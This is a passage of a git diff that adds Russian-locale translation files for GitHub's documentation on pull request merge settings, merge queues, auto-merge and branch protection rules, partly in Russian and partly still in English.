dropdown](/assets/images/help/repository/default-squash-message-dropdown.png) +{% endif %} + +If you select more than one merge method, collaborators can choose which type of merge commit to use when they merge a pull request. {% data reusables.repositories.squash-and-rebase-linear-commit-history %} + +## Further reading + +- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" +- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md new file mode 100644 index 000000000000..bf762e72ccc9 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md @@ -0,0 +1,25 @@ +--- +title: Configuring pull request merges +intro: 'You can configure pull request merges on {% data variables.location.product_location %} to match your workflow and preferences for managing Git history.' +redirect_from: + - /articles/configuring-pull-request-merges + - /github/administering-a-repository/configuring-pull-request-merges +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /about-merge-methods-on-github + - /configuring-commit-merging-for-pull-requests + - /configuring-commit-squashing-for-pull-requests + - /configuring-commit-rebasing-for-pull-requests + - /managing-a-merge-queue + - /managing-suggestions-to-update-pull-request-branches + - /managing-auto-merge-for-pull-requests-in-your-repository + - /managing-the-automatic-deletion-of-branches +shortTitle: Configure PR merges +--- + diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md new file mode 100644 index 000000000000..cd2b66426a8c --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue.md @@ -0,0 +1,74 @@ +--- +title: Управление очередью слияния +intro: 'Скорость разработки можно увеличить, используя очереди слияния для запросов на вытягивание в репозитории.' +versions: + fpt: '*' + ghec: '*' +permissions: People with admin permissions can manage merge queues for pull requests targeting selected branches of a repository. +topics: + - Repositories + - Pull requests +shortTitle: Managing merge queue +redirect_from: + - /repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue +ms.openlocfilehash: 08726e420c43895b5aebca10c4951cd034736170 +ms.sourcegitcommit: c45cc7325ed19e69ddd7506e46fcafd0b5182b3f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: '148019615' +--- +{% data reusables.pull_requests.merge-queue-beta %} + +## Сведения об очередях слияния + +{% data reusables.pull_requests.merge-queue-overview %} + +Очередь слияния создает временные ветви со специальным префиксом для проверки изменений запроса на вытягивание. Затем изменения в запросе на вытягивание группируются в `merge_group` с последней версией `base_branch`, а также последующими изменениями в очереди. {% data variables.product.product_name %} выполнит слияние для всех изменений в `base_branch` после завершения проверок, необходимых для защиты ветви `base_branch`. + + +Дополнительную информацию о методах слияния см. в разделе [Сведения о слиянии запросов на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). + +{% note %} + +**Примечания.** + +* Очередь слияния не может быть включена при правилах защиты ветви, использующих подстановочные знаки (`*`) в шаблоне имени ветви. +* Очередь слияния ожидает отправки необходимых проверок, прежде чем она сможет продолжить слияние. Необходимо обновить конфигурацию CI, чтобы активировать и сообщить о событиях группы слияния при необходимости в очереди слияния. + +{% endnote %} + +{% data reusables.pull_requests.merge-queue-reject %} + +### Активация проверок группы слияния с помощью {% data variables.product.prodname_actions %} + +Вы можете использовать событие `merge_group` для активации рабочего процесса {% data variables.product.prodname_actions %} при добавлении запроса на вытягивание в очередь слияния. Обратите внимание, что это событие отличается от событий `pull_request` и `push`. + +Рабочий процесс, сообщающий о проверке, которая требуется для защиты целевой ветви, будет выглядеть следующим образом: + +```yaml +on: + pull_request: + merge_group: +``` + +Дополнительные сведения см. в статье [События, активирующие рабочие процессы](/actions/using-workflows/events-that-trigger-workflows#merge-group). + +### Активация проверок группы слияния с использованием других поставщиков CI + +При использовании других поставщиков CI, возможно, потребуется обновить конфигурацию CI для запуска при создании ветви, которая начинается со специального префикса `gh-readonly-queue/{base_branch}`. + +## Управление очередью слияния + +Администраторы репозитория могут требовать очередь слияния, включив параметр защиты ветви "Требовать очередь слияния" в правилах защиты для базовой ветви. + +### Сведения о параметре размера группы слияния + +Можно настроить размер группы слияния очереди слияния, которая определяет, сколько запросов на вытягивание включается в каждую группу слияния. Если ошибки проверки состояния или конфликты слияния отсутствуют, при выборе размера небольшой группы слияния по умолчанию будут формироваться группы, содержащие 2 запроса на вытягивание. Если вы хотите группировать дополнительные запросы на вытягивание для каждой группы, можно выбрать размер группы слияния "средний", чтобы сформировать группы, содержащие 5 запросов на вытягивание. + +Сведения о включении параметра защиты очереди слияния см. в разделе [Управление правилами защиты ветви](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule#creating-a-branch-protection-rule). + +## Дополнительные материалы + +* [Слияние запроса на вытягивание с очередью слияния](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue) +* [Сведения о защищенных ветвях](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md new file mode 100644 index 000000000000..73f543e7e94e --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md @@ -0,0 +1,29 @@ +--- +title: Managing auto-merge for pull requests in your repository +intro: You can allow or disallow auto-merge for pull requests in your repository. +product: '{% data reusables.gated-features.auto-merge %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +permissions: People with maintainer permissions can manage auto-merge for pull requests in a repository. +topics: + - Repositories +redirect_from: + - /github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository + - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository +shortTitle: Manage auto merge +--- +## About auto-merge + +If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. For more information, see "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)." + +## Managing auto-merge + +{% data reusables.pull_requests.auto-merge-requires-branch-protection %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +1. Under {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select or deselect **Allow auto-merge**. + ![Checkbox to allow or disallow auto-merge](/assets/images/help/pull_requests/allow-auto-merge-checkbox.png) diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md new file mode 100644 index 000000000000..a062a40948c0 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md @@ -0,0 +1,26 @@ +--- +title: Managing suggestions to update pull request branches +intro: You can give users the ability to always update a pull request branch when it is not up to date with the base branch. +versions: + fpt: '*' + ghes: '> 3.4' + ghae: '>= 3.5' + ghec: '*' +topics: + - Repositories +shortTitle: Manage branch updates +permissions: People with maintainer permissions can enable or disable the setting to suggest updating pull request branches. +--- + +## About suggestions to update a pull request branch + +If you enable the setting to always suggest updating pull request branches in your repository, people with write permissions will always have the ability, on the pull request page, to update a pull request's head branch when it's not up to date with the base branch. When not enabled, the ability to update is only available when the base branch requires branches to be up to date before merging and the branch is not up to date. For more information, see "[Keeping your pull request in sync with the base branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)." + +{% data reusables.enterprise.3-5-missing-feature %} + +## Managing suggestions to update a pull request branch + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under "Pull Requests", select or unselect **Always suggest updating pull request branches**. + ![Checkbox to enable or disable always suggest updating branch](/assets/images/help/repository/always-suggest-updating-branches.png) diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md new file mode 100644 index 000000000000..75a9ffa039a6 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md @@ -0,0 +1,26 @@ +--- +title: Managing the automatic deletion of branches +intro: You can have head branches automatically deleted after pull requests are merged in your repository. +redirect_from: + - /articles/managing-the-automatic-deletion-of-branches + - /github/administering-a-repository/managing-the-automatic-deletion-of-branches + - /github/administering-a-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Automatic branch deletion +--- +Anyone with admin permissions to a repository can enable or disable the automatic deletion of branches. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Pull Requests"{% else %}"Merge button"{% endif %}, select or unselect **Automatically delete head branches**. + ![Checkbox to enable or disable automatic deletion of branches](/assets/images/help/repository/automatically-delete-branches.png) + +## Further reading +- "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" +- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)" diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md new file mode 100644 index 000000000000..a2808b957dad --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md @@ -0,0 +1,214 @@ +--- +title: About protected branches +intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.' +product: '{% data reusables.gated-features.protected-branches %}' +redirect_from: + - /articles/about-protected-branches + - /enterprise/admin/developer-workflow/about-protected-branches-and-required-status-checks + - /articles/about-branch-restrictions + - /github/administering-a-repository/about-branch-restrictions + - /articles/about-required-status-checks + - /github/administering-a-repository/about-required-status-checks + - /articles/types-of-required-status-checks + - /github/administering-a-repository/types-of-required-status-checks + - /articles/about-required-commit-signing + - /github/administering-a-repository/about-required-commit-signing + - /articles/about-required-reviews-for-pull-requests + - /github/administering-a-repository/about-required-reviews-for-pull-requests + - /github/administering-a-repository/about-protected-branches + - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +## About branch protection rules + +You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule. + +By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings. + +{% ifversion bypass-branch-protections %} +By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository or custom roles with the "bypass branch protections" permission. You can optionally apply the restrictions to administrators and roles with the "bypass branch protections" permission, too. For more information, see "[Managing custom repository roles for an organization](/en/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)". +{% else %} +By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too.{% endif %} + +{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)." + +{% data reusables.pull_requests.you-can-auto-merge %} + +## About branch protection settings + +For each branch protection rule, you can choose to enable or disable the following settings. +- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging) +- [Require status checks before merging](#require-status-checks-before-merging) +- [Require conversation resolution before merging](#require-conversation-resolution-before-merging) +- [Require signed commits](#require-signed-commits) +- [Require linear history](#require-linear-history) +{% ifversion fpt or ghec %} +- [Require merge queue](#require-merge-queue) +{% endif %} +{%- ifversion required-deployments %} +- [Require deployments to succeed before merging](#require-deployments-to-succeed-before-merging) +{%- endif %} +{%- ifversion lock-branch %} +- [Lock branch](#lock-branch) +{%- endif %} +{% ifversion bypass-branch-protections %}- [Do not allow bypassing the above settings](#do-not-allow-bypassing-the-above-settings){% else %}- [Include administrators](#include-administrators){% endif %} +- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches) +- [Allow force pushes](#allow-force-pushes) +- [Allow deletions](#allow-deletions) + +For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)." + +### Require pull request reviews before merging + +{% data reusables.pull_requests.required-reviews-for-prs-summary %} + +If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions. + +If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review. + +{% data reusables.repositories.review-policy-overlapping-commits %} + +If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message. + +```shell +remote: error: GH006: Protected branch update failed for refs/heads/main. +remote: error: Changes have been requested. +``` + +Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)." + +Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." + +Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch. + +{% ifversion last-pusher-require-approval %} +Optionally, you can require approvals from someone other than the last person to push to a branch before a pull request can be merged. This ensures more than one person sees pull requests in their final state before they are merged into a protected branch. If you enable this feature, the most recent user to push their changes will need an approval regardless of the required approvals branch protection. Users who have already reviewed a pull request can reapprove after the most recent push to meet this requirement. +{% endif %} + +### Require status checks before merging + +Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)." + +Before you can enable required status checks, you must configure the repository to use the commit status API. For more information, see "[Commit statuses](/rest/commits/statuses)" in the REST API documentation. + +After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch. + +Any person or integration with write permissions to a repository can set the state of any status check in the repository{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates.{% endif %} If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box. + +You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging. + +| Type of required status check | Setting | Merge requirements | Considerations | +| --- | --- | --- | --- | +| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.| +| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. | +| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes. + +For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)." + +### Require conversation resolution before merging + +Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. + +### Require signed commits + +When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)." + +{% note %} + +{% ifversion fpt or ghec %} +**Notes:** + +* If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." +* If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. + +{% else %} +**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. +{% endif %} + +{% endnote %} + +You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)." + +{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %} + +### Require linear history + +Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams reverse changes more easily. For more information about merge methods, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)." + +Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see "[Configuring pull request merges](/github/administering-a-repository/configuring-pull-request-merges)." + +{% ifversion fpt or ghec %} +### Require merge queue + +{% data reusables.pull_requests.merge-queue-beta %} +{% data reusables.pull_requests.merge-queue-overview %} + +{% data reusables.pull_requests.merge-queue-merging-method %} +{% data reusables.pull_requests.merge-queue-references %} + +{% endif %} + +### Require deployments to succeed before merging + +You can require that changes are successfully deployed to specific environments before a branch can be merged. For example, you can use this rule to ensure that changes are successfully deployed to a staging environment before the changes merge to your default branch. + +{% ifversion lock-branch %} +### Lock branch + +Locking a branch ensures that no commits can be made to the branch. +By default, a forked repository does not support syncing from its upstream repository. You can enable **Allow fork syncing** to pull changes from the upstream repository while preventing other contributions to the fork's branch. +{% endif %} + +{% ifversion bypass-branch-protections %}### Do not allow bypassing the above settings{% else %} +### Include administrators{% endif %} + +{% ifversion bypass-branch-protections %} +By default, the restrictions of a branch protection rule do not apply to people with admin permissions to the repository or custom roles with the "bypass branch protections" permission in a repository. + +You can enable this setting to apply the restrictions to admins and roles with the "bypass branch protections" permission, too. For more information, see "[Managing custom repository roles for an organization](/en/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)". +{% else %} +By default, protected branch rules do not apply to people with admin permissions to a repository. You can enable this setting to include administrators in your protected branch rules.{% endif %} + +### Restrict who can push to matching branches + +{% ifversion fpt or ghec %} +You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}. +{% endif %} + +When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging into the branch when the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required. + +{% ifversion restrict-pushes-create-branch %} +Optionally, you can apply the same restrictions to the creation of branches that match the rule. For example, if you create a rule that only allows a certain team to push to any branches that contain the word `release`, only members of that team would be able to create a new branch that contains the word `release`. +{% endif %} + +You can only give push access to a protected branch, or give permission to create a matching branch, to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch{% ifversion restrict-pushes-create-branch %} or create a matching branch{% endif %}. + +### Allow force pushes + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, you can choose one of two groups who can force push: + +1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions. +1. Allow only specific people or teams to force push to the branch. + +If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests. + +{% else %} +By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests. +{% endif %} + +Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch. + +{% ifversion ghes or ghae %}You cannot enable force pushes for a protected branch if a site administrator has blocked force pushes to all branches in your repository. For more information, see "[Blocking force pushes to repositories owned by a personal account or organization](/enterprise/admin/developer-workflow/blocking-force-pushes-to-repositories-owned-by-a-user-account-or-organization)." + +If a site administrator has blocked force pushes to the default branch only, you can still enable force pushes for any other protected branch.{% endif %} + +### Allow deletions + +By default, you cannot delete a protected branch. When you enable deletion of a protected branch, anyone with at least write permissions to the repository can delete the branch. diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md new file mode 100644 index 000000000000..6307069a7348 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md @@ -0,0 +1,29 @@ +--- +title: Определение возможности слияния запросов на вытягивание +intro: 'Можно настроить требование запросов на вытягивание, чтобы пройти набор проверок перед их объединением. Например, можно заблокировать запросы на вытягивание, которые не проходят проверки состояния, или потребовать, чтобы запросы на вытягивание содержали определенное количество утверждений, прежде чем их можно будет объединить.' +redirect_from: + - /articles/defining-the-mergeability-of-a-pull-request + - /articles/defining-the-mergeability-of-pull-requests + - /enterprise/admin/developer-workflow/establishing-pull-request-merge-conditions + - /github/administering-a-repository/defining-the-mergeability-of-pull-requests +product: '{% data reusables.gated-features.protected-branches %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /about-protected-branches + - /managing-a-branch-protection-rule + - /troubleshooting-required-status-checks +shortTitle: Mergeability of PRs +ms.openlocfilehash: 4f3f4de6c136710ba2689b22e6def8c7d8de859c +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882428' +--- + diff --git a/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md new file mode 100644 index 000000000000..bef4499ff667 --- /dev/null +++ b/translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -0,0 +1,153 @@ +--- +title: Managing a branch protection rule +intro: 'You can create a branch protection rule to enforce certain workflows for one or more branches, such as requiring an approving review or passing status checks for all pull requests merged into the protected branch.' +product: '{% data reusables.gated-features.protected-branches %}' +redirect_from: + - /articles/configuring-protected-branches + - /enterprise/admin/developer-workflow/configuring-protected-branches-and-required-status-checks + - /articles/enabling-required-status-checks + - /github/administering-a-repository/enabling-required-status-checks + - /articles/enabling-branch-restrictions + - /github/administering-a-repository/enabling-branch-restrictions + - /articles/enabling-required-reviews-for-pull-requests + - /github/administering-a-repository/enabling-required-reviews-for-pull-requests + - /articles/enabling-required-commit-signing + - /github/administering-a-repository/enabling-required-commit-signing + - /github/administering-a-repository/requiring-a-linear-commit-history + - /github/administering-a-repository/enabling-force-pushes-to-a-protected-branch + - /github/administering-a-repository/enabling-deletion-of-a-protected-branch + - /github/administering-a-repository/managing-a-branch-protection-rule + - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +permissions: People with admin permissions to a repository can manage branch protection rules. +topics: + - Repositories +shortTitle: Branch protection rule +--- +## About branch protection rules + +{% data reusables.repositories.branch-rules-example %} + +You can create a rule for all current and future branches in your repository with the wildcard syntax `*`. Because {% data variables.product.company_short %} uses the `File::FNM_PATHNAME` flag for the `File.fnmatch` syntax, the wildcard does not match directory separators (`/`). For example, `qa/*` will match all branches beginning with `qa/` and containing a single slash. You can include multiple slashes with `qa/**/*`, and you can extend the `qa` string with `qa**/**/*` to make the rule more inclusive. For more information about syntax options for branch rules, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). + +If a repository has multiple protected branch rules that affect the same branches, the rules that include a specific branch name have the highest priority. If there is more than one protected branch rule that references the same specific branch name, then the branch rule created first will have higher priority. + +Protected branch rules that mention a special character, such as `*`, `?`, or `]`, are applied in the order they were created, so older rules with these characters have a higher priority. + +To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. + +For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." + +## Creating a branch protection rule + +When you create a branch rule, the branch you specify doesn't have to exist yet in the repository. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.repository-branches %} +{% data reusables.repositories.add-branch-protection-rules %} +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +1. Optionally, enable required pull requests. + - Under "Protect matching branches", select **Require a pull request before merging**. + ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required-updated.png) + - Optionally, to require approvals before a pull request can be merged, select **Require approvals**, click the **Required number of approvals before merging** drop-down menu, then select the number of approving reviews you would like to require on the branch. + ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals-updated.png) +{% else %} +1. Optionally, enable required pull request reviews. + - Under "Protect matching branches", select **Require pull request reviews before merging**. + ![Pull request review restriction checkbox](/assets/images/help/repository/PR-reviews-required.png) + - Click the **Required approving reviews** drop-down menu, then select the number of approving reviews you would like to require on the branch. + ![Drop-down menu to select number of required review approvals](/assets/images/help/repository/number-of-required-review-approvals.png) +{% endif %} + - Optionally, to dismiss a pull request approval review when a code-modifying commit is pushed to the branch, select **Dismiss stale pull request approvals when new commits are pushed**. + ![Dismiss stale pull request approvals when new commits are pushed checkbox](/assets/images/help/repository/PR-reviews-required-dismiss-stale.png) + - Optionally, to require review from a code owner when the pull request affects code that has a designated owner, select **Require review from Code Owners**. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." + ![Require review from code owners](/assets/images/help/repository/PR-review-required-code-owner.png) +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + - Optionally, to allow specific actors to push code to the branch without creating pull requests when they're required, select **Allow specified actors to bypass required pull requests**. Then, search for and select the actors who should be allowed to skip creating a pull request. + ![Allow specific actors to bypass pull request requirements checkbox]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-bypass-requirements-with-apps.png){% else %}(/assets/images/help/repository/PR-bypass-requirements.png){% endif %} +{% endif %} + - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the actors who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." + ![Restrict who can dismiss pull request reviews checkbox]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-review-required-dismissals-with-apps.png){% else %}(/assets/images/help/repository/PR-review-required-dismissals.png){% endif %} +{% ifversion last-pusher-require-approval %} + - Optionally, to require someone other than the last person to push to a branch to 